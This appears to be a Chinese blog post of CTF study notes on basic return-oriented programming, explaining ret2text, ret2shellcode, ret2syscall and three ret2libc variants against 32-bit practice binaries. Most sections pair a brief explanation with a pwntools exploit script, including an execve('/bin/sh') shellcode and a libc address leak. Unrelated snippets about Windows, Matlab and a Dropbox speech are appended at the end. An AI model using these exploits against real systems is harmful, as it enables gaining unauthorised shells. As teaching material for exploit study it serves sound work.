rop
学习文献:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic_rop/
1. 栈溢出基本原理就不写了
列举一下常见的危险函数:
- 输入
- gets,直接读取一行,忽略'\x00'
- scanf
- vscanf
- 输出
- 字符串
2. 基础rop
ret2text
开启NX,无栈保护,32位文件
IDA中打开可以发现system以及/bin/sh,存在危险函数gets,直接修改ret
计算需要覆盖的偏移量
知道ebp和esp之后,结合s相对于esp的偏移量
exp
payload='a'*(0x6c+0x04)
cn.sendline(payload+p32(0x0804863A))
cn.interactive()
ret2shellcode
ret2shellcode,即控制程序执行 shellcode 代码。shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell。一般来说,shellcode 需要我们自己填充。这其实是另外一种典型的利用方法,即此时我们需要自己去填充一些可执行的代码。
在栈溢出的基础上,要想执行 shellcode,需要对应的 binary 在运行时,shellcode 所在的区域具有可执行权限。
这是学习文献中的原话,链接上面有,之前我们看见有那个NX保护,也就是说相应区域的NX保护没开启,我们自己手动打shellcode来夺取权限
啥保护都没开启,辣是真滴流批,32位文件
main函数中有gets还有strncpy函数,但是没有相对应的system和/bin/sh,但是NX没开启,打shellcode
这里gets函数返回地址没有system给我们构造,但是strncpy里的buf字段我们可以尝试通过往s写如shellcode来复制进去,buf我们可以看到在bss字段
我们可以查看一下该字段的权限
我们可以看到buf所在处(0x0804A080)是可执行的
计算偏移量
设断电后,发现s相对于ebp的偏移量是0x6C
也就是说我们覆盖空间+shellcode=0x6C+0x04,exp如下
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"
#cn.sendline(shellcode.ljust(112, 'a')+p32(0x0804a080))
cn.sendline(shellcode+'a'*(0x6C+0x04-len(shellcode))+p32(0x0804a080)) #等价于上一行
cn.interactive()
ret2syscall
ret2syscall,即控制程序执行系统调用,获取 shell
32位,没有栈保护,有NX,拖进IDA看一下main函数
这次我们可以发现没有system函数,NX保护开启了,但是我们可以搜索字符串找到/bin/sh,但是我们这次没有函数来调用我们的shell,那怎么办?
我们可以伪造一个系统调用
我们可以将需要调用的参数压入对应的寄存器,那么我们在执行 int 0x80 就可执行对应的系统调用
#int $0x80是一条AT&T语法的中断指令,用于Linux的系统调用
其中,该程序是 32 位,所以我们需要使得
- 系统调用号,即 eax 应该为 0xb
- 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
- 第二个参数,即 ecx 应该为 0
- 第三个参数,即 edx 应该为 0
我们可以使用 ropgadgets 这个工具来寻找各个寄存器可以控制的地址以及int 0x80的地址和/bin/sh的地址,具体如下
我们这里选择0x080bb196
之后我们找ebx的时候选择0x0806eb90(edx,ecx,ebx全都有)
/bin/sh地址为0x080be408
int 0x80地址为0x08049421
最后就差脚本了,但不要忘记s的偏移量哦
依然是0x6c
来,exp
eax_ret = 0x080bb196
edx_ecx_ebx_ret = 0x0806eb90
bin_sh=0x080be408
int_80=0x08049421
payload=flat(['a'*(0x6C+0x04), eax_ret, 0xb, edx_ecx_ebx_ret, 0, 0, bin_sh, int_80])
#payload='a'*(0x6C+0x04)+p32(eax_ret)+p32(0xb)+p32(edx_ecx_ebx_ret)+p32(0)+p32(0)+p32(bin_sh)+p32(int_80) #遇上一行相同
cn.sendline(payload)
cn.interactive()
ret2libc
ret2libc 即控制函数的执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。一般情况下,我们会选择执行 system("/bin/sh"),故而此时我们需要知道 system 函数的地址
#ibc:Linux下的ANSI C的函数库,ANSI C是基本的C语言函数库,包含了C语言最基本的库函数
#plt与got:https://blog.csdn.net/linyt/article/details/51635768
先看一波这文件防护机制情况
32位,开启了NX保护,没有栈溢出保拖进IDA确定漏洞位置
gets函数可以溢出
存在/bin/sh
存在system函数
OK,那直接覆盖eip,正常调用system函数的时候,记得要添加一个返回地址(随便就好,反正是假的)
system_addr=0x08048460
bin_sh=0x08048720
payload=flat(['a'*(0x6C+0x04),system_addr,'a'*0x04,bin_sh])
cn.sendline(payload)
cn.interactive()
ret2libc2
我们已经感受了一波lib,有system函数,但是这次不给你/bin/sh,要靠自己写入咯
32位文件,有NX保护,无栈溢出保护
拖进IDA找漏洞位置
gets函数可以溢出
因为本身是没有/bin/sh的,所以我们需要在一个空的bss字段写入/bin/sh
exp
gets_plt=0x08048460
system_plt=0x08048490
bss=0x0804A080
ebp_ret=0x0804843d
payload=flat(['a'*(0x6C+0x04),gets_plt,ebp_ret,bss])
payload2=flat([system_plt,'a'*0x04,bss])
cn.send(payload)
cn.sendline(payload2)
cn.sendline('/bin/sh')
cn.interactive()
ret2libc3
接下来更进一步了,连system函数都没了,需要我们去libc库里找,/bin/sh也可以去libc库里找
有NX,无栈保护
gets函数可以溢出
system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的,我们可以通过找出文件中的函数在got表中的地址,再结合got表中距离system函数的偏移量,从而把system在文件中的存放地址调出来,/bin/sh也是同理
这里我们泄露 __libc_start_main 的地址,这是因为它是程序最初被执行的地方。基本利用思路如下
- 泄露 __libc_start_main 地址
- 获取 libc 版本
- 获取 system 地址与 /bin/sh 的地址
- 再次执行源程序
- 触发栈溢出执行 system(‘/bin/sh’)
exp
puts_plt=bin.plt['puts']
libc_start_main_got=bin.got['__libc_start_main']
main=bin.symbols['main']
payload=flat(['a'*(0x6C+0x04),puts_plt,main,libc_start_main_got])
cn.recvuntil('Can you find it !?')
cn.sendline(payload)
libc_start_main_addr=u32(cn.recv(4)) #leak address
system_addr=libc.symbols['system']+libc_start_main_addr-libc.symbols['__libc_start_main']
bin_sh_addr=libc.search('/bin/sh').next()+libc_start_main_addr-libc.symbols['__libc_start_main']
payload2 = flat(['a'*(0x6C+0x04), system_addr, 'a'*0x04, bin_sh_addr])
cn.recvuntil('Can you find it !?')
cn.sendline(payload2)
cn.interactive()
相关阅读
https://blog.csdn.net/cyteven/article/details/19175083
win10系统高级设置:windows 找不到文件 %windir%\syst
win10系统高级设置:不小心误删了系统环境变量,于是想再次打开属性->高级系统设置 时候,报出如下错误: 到C:\Windows\System32文件
转自:Matlab图像处理函数:regionprops 这里给出在Matlab图像处理工具箱中非常重要的一个图像分析函数:regionprops。顾名思义:它的用
有这样一幅图, 我们想获取其中的连通区域,可以使用以下代码: src_img_name = 'blue_sky_white_clound_002594.jpg';img = imread(src
Dropbox创始人:只和出色的人在一起,不浪费生命的每一天
今天分享一个演讲,演讲人是Dropbox创始人,他向大学生提出了3点人生建议,但是可能也同样适用于你MIT演讲:只和出色的人在一起,不浪费生